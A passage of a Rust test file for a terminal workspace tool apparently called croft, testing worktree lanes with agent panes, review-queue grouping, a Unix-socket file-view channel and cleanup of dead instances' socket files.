        base: None,
    };
    let rec = crate::terminal_session::SessionRecord {
        panes: vec![
            crate::terminal_session::PaneRecord {
                host: None,
                cwd: elsewhere.display().to_string(),
                name: Some(String::from("Lane: fix-login")),
                transcript: Vec::new(),
                lane: Some(lane("probe-a")),
            },
            crate::terminal_session::PaneRecord {
                host: None,
                cwd: vanished.display().to_string(),
                name: Some(String::from("Lane: fix-login")),
                transcript: Vec::new(),
                lane: Some(lane("probe-b")),
            },
        ],
        active: 0,
    };
    crate::terminal_session::save_for_root(&session, &root_key, rec).unwrap();
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = session;
    app.agents = crate::agents::AgentTable::from_json(
        r#"[
          { "name": "probe-a", "launch": "printf '%s%s\\n' 'croft-seat' \"-a:$(pwd)\"" },
          { "name": "probe-b", "launch": "printf '%s%s\\n' 'croft-seat' \"-b:$(pwd)\"" }
        ]"#,
    );
    app.restore_terminal_session();
    assert_eq!(app.terminals.len(), 2);
    let lane_canon = lane_dir.canonicalize().unwrap().display().to_string();
    let budget = crate::test_budget::spawn_budget(crate::test_budget::tests::TERMINAL_PROBE_BASE);
    let started = std::time::Instant::now();
    let seated = |app: &App, tag: &str| {
        app.terminals
            .iter()
            .any(|t| t.visible_text().contains(&format!("croft-seat-{tag}:")))
    };
    while started.elapsed() < budget && !(seated(&app, "a") && seated(&app, "b")) {
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    for tag in ["a", "b"] {
        let screen = app
            .terminals
            .iter()
            .map(|t| t.visible_text())
            .find(|s| s.contains(&format!("croft-seat-{tag}:")))
            .unwrap_or_else(|| panic!("probe {tag} never printed its cwd"));
        let line = screen
            .lines()
            .find(|l| l.contains(&format!("croft-seat-{tag}:")))
            .unwrap();
        assert!(
            line.trim_end().ends_with(&lane_canon)
                || line.trim_end().ends_with(&lane_dir.display().to_string()),
            "agent {tag} was seated in the lane, got: {line:?}"
        );
    }
    for t in &app.terminals {
        assert!(
            app.lane_panes.contains_key(&t.uid()),
            "both restored panes are the lane's"
        );
    }
}

#[test]
fn a_lane_pane_closed_by_any_route_is_no_longer_the_lanes_even_when_reopened() {
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.lane_agent = None;
    app.create_worktree_lane("fix login");
    let uid = app.terminals[app.active_terminal].uid();
    assert!(app.lane_panes.contains_key(&uid));
    assert!(app.close_active_terminal(), "the ordinary close");
    assert!(
        app.lane_panes.is_empty(),
        "the map does not keep dead panes"
    );
    app.undo_close_terminal();
    assert!(
        app.terminals.iter().any(|t| t.uid() == uid),
        "the pane came back"
    );
    assert!(
        app.lane_panes.is_empty(),
        "but not as the lane's: nobody asked for an agent to be re-seated"
    );
}

#[test]
fn closing_a_lane_whose_pane_is_the_last_one_replaces_it_with_a_shell_in_the_primary_root() {
    // The close refuses the last pane, and a lane pane left standing would
    // sit in a directory git just removed. So a fresh shell in the primary
    // root is opened first, and the lane pane closes like any other.
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.lane_agent = None;
    app.create_worktree_lane("solo");
    // Drop the original pane so the lane's is the only one left.
    assert!(app.close_terminal_at(0));
    assert_eq!(app.terminals.len(), 1);
    let lane_uid = app.terminals[0].uid();
    assert_eq!(app.terminals[0].manual_name(), Some("Lane: solo"));
    let lane = tmp.path().join("repo-solo").canonicalize().unwrap();
    app.active_scm_root = lane.clone();
    app.close_worktree_lane();
    assert!(!lane.exists(), "{}", app.status);
    assert_eq!(app.terminals.len(), 1, "one pane remains: the replacement");
    assert_ne!(app.terminals[0].uid(), lane_uid, "and it is not the lane's");
    assert_eq!(app.terminals[0].manual_name(), None);
    assert!(app.lane_panes.is_empty());
    assert!(
        app.closed_terminals
            .iter()
            .any(|c| c.term.uid() == lane_uid),
        "the lane pane went through the undoable close"
    );
    assert!(app.status.contains("closed its pane"), "{}", app.status);
    // The replacement is a live shell in the primary root, not in the
    // removed directory: it can print its cwd.
    app.terminals[0].write_input(b"printf '%s%s\\n' 'croft-repl' \"-at:$(pwd)\"\r");
    let budget = crate::test_budget::spawn_budget(crate::test_budget::tests::TERMINAL_PROBE_BASE);
    let started = std::time::Instant::now();
    while started.elapsed() < budget && !app.terminals[0].visible_text().contains("croft-repl-at:")
    {
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    let screen = app.terminals[0].visible_text();
    let line = screen
        .lines()
        .find(|l| l.contains("croft-repl-at:"))
        .unwrap_or_else(|| panic!("the replacement shell never answered; screen:\n{screen}"));
    let repo_canon = repo.canonicalize().unwrap().display().to_string();
    assert!(
        line.trim_end().ends_with(&repo_canon)
            || line.trim_end().ends_with(&repo.display().to_string()),
        "the replacement sits in the primary root, got: {line:?}"
    );
}

#[test]
fn closing_a_lane_closes_its_pane_through_the_undoable_path() {
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.lane_agent = None;
    app.create_worktree_lane("fix login");
    let lane = tmp.path().join("repo-fix-login").canonicalize().unwrap();
    assert_eq!(app.terminals.len(), 2);
    let lane_uid = app.terminals[app.active_terminal].uid();
    // Close targets the ACTIVE root; the lane is what the user is in.
    app.active_scm_root = lane.clone();
    app.close_worktree_lane();
    assert!(!lane.exists(), "the worktree is gone: {}", app.status);
    assert!(!app.roots.iter().any(|r| r == lane), "and the root");
    assert_eq!(
        app.terminals.len(),
        1,
        "and the lane's pane: {}",
        app.status
    );
    assert!(!app.terminals.iter().any(|t| t.uid() == lane_uid));
    assert!(app.lane_panes.is_empty());
    assert!(
        app.closed_terminals
            .iter()
            .any(|c| c.term.uid() == lane_uid),
        "closed through the undoable path"
    );
    assert!(app.status.contains("closed its pane"), "{}", app.status);
}

#[test]
fn cmd_k_shift_l_asks_for_a_new_lane_and_plain_l_still_folds() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('L'), KeyModifiers::SHIFT)));
    assert_eq!(
        app.input_prompt.as_ref().map(|p| p.purpose.clone()),
        Some(crate::widgets::input_prompt::InputPurpose::NewWorktreeLane)
    );
    app.close_input_prompt();
    // CSI-u hosts report Shift+L as a lower-case char with SHIFT.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('l'), KeyModifiers::SHIFT)));
    assert_eq!(
        app.input_prompt.as_ref().map(|p| p.purpose.clone()),
        Some(crate::widgets::input_prompt::InputPurpose::NewWorktreeLane)
    );
    app.close_input_prompt();
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('l'), KeyModifiers::NONE)));
    assert!(
        app.input_prompt.is_none(),
        "plain L is still the fold toggle"
    );
}

#[test]
fn a_lanes_root_row_wears_its_branch_and_its_agent() {
    // The badge text in its three shapes, then the app-side sync: a lane's
    // root gets a badge keyed by its canonical path, a plain-shell lane shows
    // the branch alone, and a closed lane's badge goes with it.
    use crate::agents::{AgentLane, AgentStatus};
    let seated = AgentLane {
        name: String::from("claude"),
        status: AgentStatus::Waiting,
    };
    assert_eq!(
        lane_root_badge("agent/fix-login", Some(&seated), Some("claude")),
        "agent/fix-login \u{b7} \u{25c6} claude \u{25d0}"
    );
    assert_eq!(
        lane_root_badge("agent/fix-login", None, Some("claude")),
        "agent/fix-login \u{b7} claude",
        "configured but not yet seated: the bare name"
    );
    assert_eq!(lane_root_badge("agent/docs", None, None), "agent/docs");

    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.lane_agent = None;
    app.create_worktree_lane("docs");
    app.sync_lane_root_badges();
    let lane = tmp.path().join("repo-docs").canonicalize().unwrap();
    assert_eq!(
        app.tree.root_badges.get(&lane).map(String::as_str),
        Some("agent/docs"),
        "{:?}",
        app.tree.root_badges
    );
    assert!(
        !app.tree.root_badges.contains_key(app.roots.primary()),
        "the primary is not a lane"
    );
    app.active_scm_root = lane.clone();
    app.close_worktree_lane();
    app.sync_lane_root_badges();
    assert!(
        app.tree.root_badges.is_empty(),
        "the badge went with the lane"
    );
}

#[test]
fn a_lanes_badge_follows_the_seat_and_a_seated_pane_outranks_a_plain_one() {
    // App-side: the configured name shows until the sampler seats the
    // agent, the seated badge replaces it, and it falls back when the agent
    // leaves. With two panes on one lane, the seated one decides whichever
    // uid order the map walks.
    use crate::agents::{AgentLane, AgentStatus};
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    // A table of the test's own, not this machine's agents.json: claude
    // needs a launch line for the lane to record the agent, and that line
    // must not start the real thing in the test's shell.
    app.agents =
        crate::agents::AgentTable::from_json(r#"[{ "name": "claude", "launch": "true" }]"#);
    app.lane_agent = Some(String::from("claude"));
    app.create_worktree_lane("fix login");
    let lane = tmp.path().join("repo-fix-login").canonicalize().unwrap();
    let idx = app.active_terminal;
    app.sync_lane_root_badges();
    assert_eq!(
        app.tree.root_badges.get(&lane).map(String::as_str),
        Some("agent/fix-login \u{b7} claude"),
        "configured, not yet seated"
    );
    app.terminals[idx].set_agent(Some(AgentLane {
        name: String::from("claude"),
        status: AgentStatus::Working,
    }));
    app.sync_lane_root_badges();
    assert_eq!(
        app.tree.root_badges.get(&lane).map(String::as_str),
        Some("agent/fix-login \u{b7} \u{25c6} claude \u{25cf}"),
        "seated"
    );
    // A second pane on the same lane with a HIGHER uid, so the map walks the
    // first pane before it. Seated-first-then-plain and plain-first-then-
    // seated must both end on the seated badge.
    let plain = crate::widgets::terminal::PtyTerminal::new(&lane).unwrap();
    let second_uid = plain.uid();
    assert!(app.terminals[idx].uid() < second_uid);
    app.lane_panes.insert(
        second_uid,
        crate::terminal_session::LaneRecord {
            path: lane.display().to_string(),
            branch: String::from("agent/fix-login"),
            agent: None,
            base: None,
        },
    );
    app.terminals.push(plain);
    let last = app.terminals.len() - 1;
    app.sync_lane_root_badges();
    assert_eq!(
        app.tree.root_badges.get(&lane).map(String::as_str),
        Some("agent/fix-login \u{b7} \u{25c6} claude \u{25cf}"),
        "seated first, plain second: the plain sibling does not hide it"
    );
    app.terminals[idx].set_agent(None);
    app.terminals[last].set_agent(Some(AgentLane {
        name: String::from("claude"),
        status: AgentStatus::Idle,
    }));
    app.sync_lane_root_badges();
    assert_eq!(
        app.tree.root_badges.get(&lane).map(String::as_str),
        Some("agent/fix-login \u{b7} \u{25c6} claude \u{25cb}"),
        "plain first, seated second: the seated pane still decides"
    );
    app.terminals[last].set_agent(None);
    app.sync_lane_root_badges();
    assert_eq!(
        app.tree.root_badges.get(&lane).map(String::as_str),
        Some("agent/fix-login \u{b7} claude"),
        "back to the configured name once nobody is seated"
    );
}

#[test]
fn the_review_queue_names_the_lane_each_agents_files_are_in() {
    // #348: with a worktree lane in the workspace the queue groups by root,
    // naming a lane by its BRANCH and any other root by its display label,
    // so two files of the same basename are told apart.
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.lane_agent = None;
    app.create_worktree_lane("fix login");
    let repo = app.roots.primary().to_path_buf();
    let lane = tmp.path().join("repo-fix-login").canonicalize().unwrap();

    let working = vec![String::from("claude")];
    app.agent_ledger
        .record_write(&repo.join("src/mod.rs"), 1, &working);
    app.agent_ledger
        .record_write(&lane.join("src/mod.rs"), 2, &working);
    app.agent_ledger
        .record_write(&lane.join("src/other.rs"), 3, &working);

    let rows = app.agent_lane_rows();
    assert_eq!(rows.len(), 1, "one row per agent: {rows:?}");
    let row = &rows[0];
    assert!(row.starts_with("claude: 3 to review \u{2014} "), "{row}");
    let repo_label = repo
        .file_name()
        .map(|n| n.to_string_lossy().into_owned())
        .unwrap();
    assert!(
        row.contains(&format!("{repo_label} 1")),
        "the primary root is named by its folder: {row}"
    );
    assert!(
        row.contains("agent/fix-login 2"),
        "the lane is named by its branch: {row}"
    );
    assert!(
        !row.contains("mod.rs"),
        "a grouped row carries labels and counts, not file names, so the \
         status bar cannot elide the labels away: {row}"
    );
    assert!(
        row.find(&repo_label) < row.find("agent/fix-login"),
        "root order, primary first: {row}"
    );

    // A file outside every root still appears, under its own heading. Only
    // reachable defensively: the ledger's one production feeder drops paths
    // under no root before recording them.
    app.agent_ledger
        .record_write(&tmp.path().join("stray.rs"), 4, &working);
    let row = app.agent_lane_rows().remove(0);
    assert!(
        row.contains("outside the workspace 1"),
        "an unowned file is counted, not dropped: {row}"
    );
}

#[test]
fn two_lanes_sharing_a_branch_are_named_by_their_folders_instead() {
    // A lane's branch comes from its slug alone, so lanes cut from two
    // different repos can carry the same one. Naming both groups
    // `agent/fix` would be worse than naming neither: the fallback is the
    // disambiguated root label the workspace already computes.
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    let one = tmp.path().join("one-fix");
    let two = tmp.path().join("two-fix");
    for dir in [&one, &two] {
        std::fs::create_dir_all(dir).unwrap();
        app.add_workspace_folder(dir.clone());
    }
    let (one, two) = (one.canonicalize().unwrap(), two.canonicalize().unwrap());
    // Two panes, two lanes, one branch name between them.
    for (i, dir) in [(0u64, &one), (1, &two)] {
        app.lane_panes.insert(
            1000 + i,
            crate::terminal_session::LaneRecord {
                path: dir.display().to_string(),
                branch: String::from("agent/fix"),
                agent: None,
                base: None,
            },
        );
    }
    let working = vec![String::from("claude")];
    app.agent_ledger
        .record_write(&one.join("a.rs"), 1, &working);
    app.agent_ledger
        .record_write(&two.join("b.rs"), 2, &working);
    let row = app.agent_lane_rows().remove(0);
    assert!(
        !row.contains("agent/fix"),
        "a branch shared by two groups names neither: {row}"
    );
    assert!(
        row.contains("one-fix 1") && row.contains("two-fix 1"),
        "both groups fall back to their folder labels: {row}"
    );
    // One lane alone: the branch is unique again, so it names its group.
    app.lane_panes.remove(&1001);
    let row = app.agent_lane_rows().remove(0);
    assert!(
        row.contains("agent/fix 1"),
        "a unique branch still names its lane: {row}"
    );
}

#[test]
fn a_grouped_review_queue_row_survives_the_status_bar() {
    // The bar is one row and elides the MIDDLE (`elide_middle`), so a row
    // long enough to be cut loses its group labels — the one thing grouping
    // adds. Labels and counts keep it short enough to land whole. Same
    // shape as `status_transient_keeps_its_tail_when_longer_than_the_bar`.
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.lane_agent = None;
    app.create_worktree_lane("fix login");
    let repo = app.roots.primary().to_path_buf();
    let lane = tmp.path().join("repo-fix-login").canonicalize().unwrap();
    let working = vec![String::from("claude")];
    for i in 0..4 {
        app.agent_ledger
            .record_write(&repo.join(format!("src/r{i}.rs")), i as u64, &working);
        app.agent_ledger
            .record_write(&lane.join(format!("src/l{i}.rs")), 100 + i as u64, &working);
    }
    app.run_command(crate::widgets::command_palette::Command::ShowAgentLane);
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let a = buf.area;
    let last_row: String = (a.x..a.x + a.width)
        .map(|x| buf[(x, a.y + a.height - 1)].symbol().to_string())
        .collect();
    assert!(
        last_row.contains("agent/fix-login 4"),
        "the lane's group must reach the bar unelided: {last_row:?}"
    );
    assert!(
        last_row.contains("Ln 1, Col 1"),
        "the right cluster must still paint: {last_row:?}"
    );
}

#[test]
fn a_single_root_review_queue_reads_as_it_always_did() {
    // Grouping is for workspaces with more than one root: with one, the
    // label would name the only place the files could be and the group
    // count would repeat the total, so the row keeps its old flat shape.
    // A truncated sample says so, and an empty queue has no dangling tail.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let working = vec![String::from("claude")];
    app.agent_ledger
        .record_write(&tmp.path().join("a.rs"), 1, &working);
    app.agent_ledger
        .record_write(&tmp.path().join("b.rs"), 2, &working);
    assert_eq!(
        app.agent_lane_rows(),
        vec![String::from("claude: 2 to review (b.rs, a.rs)")],
        "the pre-grouping shape, unchanged"
    );
    for i in 0..3 {
        app.agent_ledger.record_write(
            &tmp.path().join(format!("f{i}.rs")),
            10 + i as u64,
            &working,
        );
    }
    let row = app.agent_lane_rows().remove(0);
    assert_eq!(
        row, "claude: 5 to review (f2.rs, f1.rs, f0.rs, \u{2026})",
        "a sample of three says it is a sample"
    );
    // Nothing unreviewed: no trailing separator, no empty group.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f = tmp.path().join("z.rs");
    std::fs::write(&f, "x").unwrap();
    app.agent_ledger.record_write(&f, 1, &working);
    let hash = app.agent_ledger.lane("claude")[0].current_hash;
    app.agent_ledger.mark_reviewed("claude", &f, hash, None);
    assert_eq!(
        app.agent_lane_rows(),
        vec![String::from("claude: 0 to review ()")],
        "an emptied lane keeps the old shape too"
    );
}

/// Stand up a `croft view` listener on `app` without touching process env.
///
/// The real `bind_view_socket` also exports `CROFT_VIEW_SOCK`, which is
/// process-global: setting it in one test would publish a socket into every
/// other test running in the same process. This binds the same way and
/// publishes nothing, so the server half is exercised and the neighbours are
/// left alone.
fn seat_view_listener(app: &mut App, dir: &std::path::Path) -> std::path::PathBuf {
    let sock = dir.join("view-test.sock");
    // Deliberately the production helper: seating a hand-built listener here
    // would let `prepare_view_listener` lose its non-blocking mode without a
    // single test noticing.
    let listener = crate::app::prepare_view_listener(&sock).unwrap();
    app.view_listener = Some(listener);
    sock
}

/// Accept one client from a NON-blocking listener, waiting for it (#362).
///
/// `prepare_view_listener` makes the listener non-blocking on purpose, so a
/// single `accept()` after a fixed sleep asserts that the client thread was
/// scheduled inside that window - a property of machine load rather than of
/// the code under test. When it loses, the panic names the client rather than
/// the deadline, the blocking flag or the length cap the test is about.
fn accept_when_ready(
    listener: &std::os::unix::net::UnixListener,
) -> std::os::unix::net::UnixStream {
    // Load-scaled rather than a fresh constant (CONTRIBUTING.md, "Waiting on
    // a spawned process in a test"). What blows a flat five seconds here is
    // not the accept: it is every other test in the suite spawning a shell at
    // the same moment, which is contention no constant chosen inside this
    // test can know about.
    let budget = crate::test_budget::spawn_budget(crate::test_budget::tests::VIEW_ACCEPT_BASE);
    let started = std::time::Instant::now();
    loop {
        match listener.accept() {
            Ok((stream, _)) => return stream,
            Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
                assert!(
                    started.elapsed() < budget,
                    "no client connected within {budget:?}"
                );
                std::thread::sleep(std::time::Duration::from_millis(5));
            }
            Err(e) => panic!("accept failed: {e}"),
        }
    }
}

/// Send one request from a client thread and hand back its reply.
fn view_from_a_pane(
    sock: &std::path::Path,
    path: &std::path::Path,
) -> std::thread::JoinHandle<crate::view_ipc::ViewReply> {
    let sock = sock.to_path_buf();
    let path = path.to_path_buf();
    std::thread::spawn(move || {
        crate::view_ipc::send(&sock, &crate::view_ipc::ViewRequest::new(&path)).unwrap()
    })
}

/// Drain until the request lands: the client connects on another thread, so
/// the first non-blocking accept can legitimately find nothing yet.
///
/// The budget is the shared load-scaled one rather than a fixed two seconds
/// (CONTRIBUTING.md, "Waiting on a spawned process in a test"): `App::new`
/// has already spawned a PTY shell, a git worker and an FS watcher, and the
/// client is a thread racing all of them. Panics rather than returning false,
/// so a caller cannot turn a timeout into a bare `assert!` that says nothing
/// about which of the two happened.
fn drain_until_answered(
    app: &mut App,
    client: &std::thread::JoinHandle<crate::view_ipc::ViewReply>,
) {
    crate::test_budget::await_spawned(
        crate::test_budget::tests::VIEW_DRAIN_BASE,
        "the view request to be answered",
        || {
            app.drain_view_requests();
            client.is_finished()
        },
    );
}

#[test]
fn a_view_request_from_a_pane_opens_the_file_in_the_editor() {
    // #362: the point of the whole channel. A shell prompt asks, and the file
    // arrives as an editor tab exactly as an Explorer click would leave it.
    let tmp = tempfile::tempdir().unwrap();
    let target = tmp.path().join("report.txt");
    std::fs::write(&target, "hello from a pane").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    let sock = seat_view_listener(&mut app, tmp.path());

    let client = view_from_a_pane(&sock, &target);
    drain_until_answered(&mut app, &client);
    assert_eq!(client.join().unwrap(), crate::view_ipc::ViewReply::Ok);

    let open = app.editor.editors[app.editor.active_index()].path.clone();
    assert_eq!(
        open.as_deref(),
        Some(target.as_path()),
        "the requested file must be the active tab"
    );
    assert!(
        app.focus == Pane::Editor,
        "the user asked to look at it, so focus follows"
    );
}

#[test]
fn a_view_request_for_a_directory_is_refused_with_a_reason_the_client_prints() {
    // The server knows why; the client only relays. A silent refusal would
    // exit the user's shell 0 having opened nothing.
    let tmp = tempfile::tempdir().unwrap();
    let dir = tmp.path().join("subdir");
    std::fs::create_dir(&dir).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sock = seat_view_listener(&mut app, tmp.path());

    let client = view_from_a_pane(&sock, &dir);
    // Load-scaled, and it still cannot hang: `await_spawned` panics naming
    // what it waited for, so the `join` below is only reached once the client
    // thread has finished (CONTRIBUTING.md, "Waiting on a spawned process in
    // a test"). A fixed two seconds decided pass or fail here before.
    drain_until_answered(&mut app, &client);
    match client.join().unwrap() {
        crate::view_ipc::ViewReply::Err { message } => {
            assert!(
                message.contains("is a directory"),
                "the reason must name what went wrong, got {message:?}"
            );
        }
        other => panic!("a directory must not open as a file: {other:?}"),
    }
}

#[test]
fn draining_an_idle_listener_reports_no_change_and_does_not_block() {
    // Polled from the frame loop: a blocking accept here would freeze every
    // redraw until somebody happened to run `croft view`.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    seat_view_listener(&mut app, tmp.path());
    // Asserted on the fd rather than only on elapsed time: if the mode is
    // lost, `accept` blocks forever and a timing assertion is never reached,
    // so the test would HANG instead of failing and read as a CI timeout
    // rather than as this defect. Reading O_NONBLOCK turns that into a
    // one-line failure that names the cause.
    let flags = {
        use std::os::unix::io::AsRawFd;
        let listener = app.view_listener.as_ref().unwrap();
        unsafe { libc::fcntl(listener.as_raw_fd(), libc::F_GETFL) }
    };
    assert!(
        flags != -1 && flags & libc::O_NONBLOCK != 0,
        "the frame loop polls this listener, so it must be non-blocking"
    );
    let started = std::time::Instant::now();
    assert!(!app.drain_view_requests(), "nothing was sent");
    assert!(
        started.elapsed() < std::time::Duration::from_millis(500),
        "the drain blocked for {:?}",
        started.elapsed()
    );
}

#[test]
fn the_socket_sweep_removes_a_dead_crofts_file_and_spares_a_live_one() {
    // Sockets are not auto-unlinked, so a crashed croft leaves its file for
    // the next one to clear. Getting this wrong in the other direction would
    // be worse than litter: deleting a LIVE croft's socket silently breaks
    // `croft view` in every pane it owns.
    let tmp = tempfile::tempdir().unwrap();
    // A pid that has certainly exited: spawn, reap, and its number is free.
    let dead = {
        let mut child = std::process::Command::new("true").spawn().unwrap();
        let pid = child.id();
        child.wait().unwrap();
        pid
    };
    // A live pid that is NOT this process. Naming the live socket for
    // `process::id()` made this half unfalsifiable: production reads
    // `pid != me && kill(pid, 0) != 0`, so for our own pid the first term
    // decides it and the liveness probe never runs. Measured - replacing the
    // whole condition with `pid != me` left all three assertions passing,
    // while production would then unlink the socket of every OTHER running
    // croft, which is the outcome the comment above calls worse than litter.
    let mut peer = std::process::Command::new("sleep")
        .arg("30")
        .spawn()
        .unwrap();
    let live = peer.id();
    // `view-<pid>-<nonce>.sock` is the ONLY shape production writes now, so
    // the fixture uses it. The pre-nonce spelling is kept for the dead pid as
    // well, because the sweep still has to clear what an older croft left.
    let dead_sock = tmp.path().join(format!("view-{dead}.sock"));
    let dead_nonce_sock = tmp.path().join(format!("view-{dead}-a1b2c3d4.sock"));
    let live_sock = tmp.path().join(format!("view-{live}-e5f6a7b8.sock"));
    let stranger = tmp.path().join("not-a-view-socket");
    // The lock `bind_socket_0600` writes beside each socket, which the sweep
    // is supposed to take with it.
    let dead_lock = tmp.path().join(format!("view-{dead}-a1b2c3d4.bind.lock"));
    let live_lock = tmp.path().join(format!("view-{live}-e5f6a7b8.bind.lock"));
    // A lock whose socket NEVER APPEARED: a croft that died between the
    // lock's creation and the rename leaves this, and nothing keyed on the
    // `.sock` suffix can ever reach it.
    let orphan_lock = tmp.path().join(format!("view-{dead}-99887766.bind.lock"));
    // `bind_socket_0600` binds inside `.s<pid>-<n>` and removes it on both
    // paths; a croft killed inside that window strands one, and nothing else
    // ever looks at it again.
    let dead_stage = tmp.path().join(format!(".s{dead}-0"));
    let live_stage = tmp.path().join(format!(".s{live}-0"));
    // Same prefix, no counter: not ours, so the sweep must leave it.
    let stage_lookalike = tmp.path().join(format!(".s{dead}-notanumber"));
    for d in [&dead_stage, &live_stage, &stage_lookalike] {
        std::fs::create_dir(d).unwrap();
        std::fs::write(d.join("s"), b"").unwrap();
    }
    for p in [
        &dead_sock,
        &dead_nonce_sock,
        &live_sock,
        &stranger,
        &dead_lock,
        &live_lock,
        &orphan_lock,
    ] {
        std::fs::write(p, b"").unwrap();
    }

    crate::app::sweep_dead_view_sockets(tmp.path());
    let live_survived = live_sock.exists();
    let live_lock_survived = live_lock.exists();
    let live_stage_survived = live_stage.exists();
    let _ = peer.kill();
    let _ = peer.wait();

    assert!(!dead_sock.exists(), "a dead croft's socket must be cleared");
    assert!(
        !dead_nonce_sock.exists(),
        "and the nonce-shaped name, which is the only one production writes"
    );
    assert!(
        !dead_lock.exists(),
        "the lock beside a dead croft's socket goes with it"
    );
    assert!(
        !orphan_lock.exists(),
        "a lock whose socket never appeared must be swept too, or it leaks \
         forever: nothing else in croft ever looks at it again"
    );
    assert!(
        live_survived,
        "another croft is alive, so its socket must survive the sweep"
    );
    assert!(
        live_lock_survived,
        "and so must its lock: removing it lets a second croft bind the \
         socket this one is serving"
    );
    assert!(
        !dead_stage.exists(),
        "a dead croft's bind staging directory leaks forever otherwise: \
         nothing but this sweep ever reads that name again"
    );
    assert!(
        live_stage_survived,
        "and a LIVE croft's staging directory must survive: removing one \
         mid-bind takes the socket it is about to rename out with it"
    );
    assert!(
        stage_lookalike.exists(),
        "the counter must parse as a number, or the sweep is matching on a \
         prefix and will eat directories it did not create"
    );
    assert!(
        stranger.exists(),
        "the sweep must only touch files it recognises by name"
    );
}

/// One drain serves EVERY client waiting, not just the first (#362).
///
/// `drain_view_requests` loops on accept under a shared 20ms deadline
/// precisely so a frame that finds three `croft view` calls queued answers
/// all three. Nothing pinned that: every other fixture hands it exactly one
/// connection, so replacing the loop body's tail with `return changed` after
/// the first client passes the whole suite.
///
/// Both requests are written SYNCHRONOUSLY from this thread before the drain
/// runs, so "both were pending in the same frame" is a property of the
/// fixture rather than of the scheduler.
#[test]
fn one_drain_answers_every_client_already_waiting() {
    use std::io::{BufRead, Write};
    let tmp = tempfile::tempdir().unwrap();
    let first = tmp.path().join("first.txt");
    let second = tmp.path().join("second.txt");
    std::fs::write(&first, "one").unwrap();
    std::fs::write(&second, "two").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Production's 20ms is shorter than one file open under a loaded full
    // suite, and then the drain rightly defers client 1 to the next frame.
    // Stretched, a drain that stops after the first client still fails.
    app.view_drain_budget =
        crate::test_budget::spawn_budget(crate::test_budget::tests::VIEW_DRAIN_BASE);
    let sock = seat_view_listener(&mut app, tmp.path());

    let mut clients = Vec::new();
    for target in [&first, &second] {
        let mut c = std::os::unix::net::UnixStream::connect(&sock).unwrap();
        // A read timeout, so losing FAILS rather than hangs: a drain that
        // serves only client 0 still passes the assert below, because
        // something opened, and an untimed `read_line` on client 1 would then
        // block forever. That is a CI timeout with no message, which two
        // other tests in this file go out of their way to avoid.
        c.set_read_timeout(Some(crate::test_budget::spawn_budget(
            crate::test_budget::tests::VIEW_DRAIN_BASE,
        )))
        .unwrap();
        // Through `ViewRequest::new`, so a change to the byte encoding is
        // exercised here rather than bypassed by hand-rolling the field.
        let req = crate::view_ipc::ViewRequest::new(target);
        let mut line = serde_json::to_string(&req).unwrap();
        line.push('\n');
        c.write_all(line.as_bytes()).unwrap();
        c.flush().unwrap();
        clients.push(c);
    }

    assert!(
        app.drain_view_requests(),
        "one drain, with two complete requests already on the socket"
    );

    for (i, c) in clients.iter().enumerate() {
        let mut reply = String::new();
        std::io::BufReader::new(c)
            .read_line(&mut reply)
            .unwrap_or_else(|e| {
                panic!(
                    "client {i} was never answered ({e}): one drain must serve \
                     every client already waiting, not just the first"
                )
            });
        let reply: crate::view_ipc::ViewReply = serde_json::from_str(reply.trim())
            .unwrap_or_else(|e| panic!("client {i} got no parseable reply: {e}"));
        assert_eq!(
            reply,
            crate::view_ipc::ViewReply::Ok,
            "client {i} must be answered by the SAME drain as client 0: a loop \
             that serves one connection and returns leaves this one waiting a \
             whole frame, and every other test hands the drain a single client"
        );
    }
    let open: Vec<_> = app
        .editor
        .editors
        .iter()
        .filter_map(|e| e.path.clone())
        .collect();
    assert!(
        open.contains(&first) && open.contains(&second),
        "both files must be open, got {open:?}"
    );
}

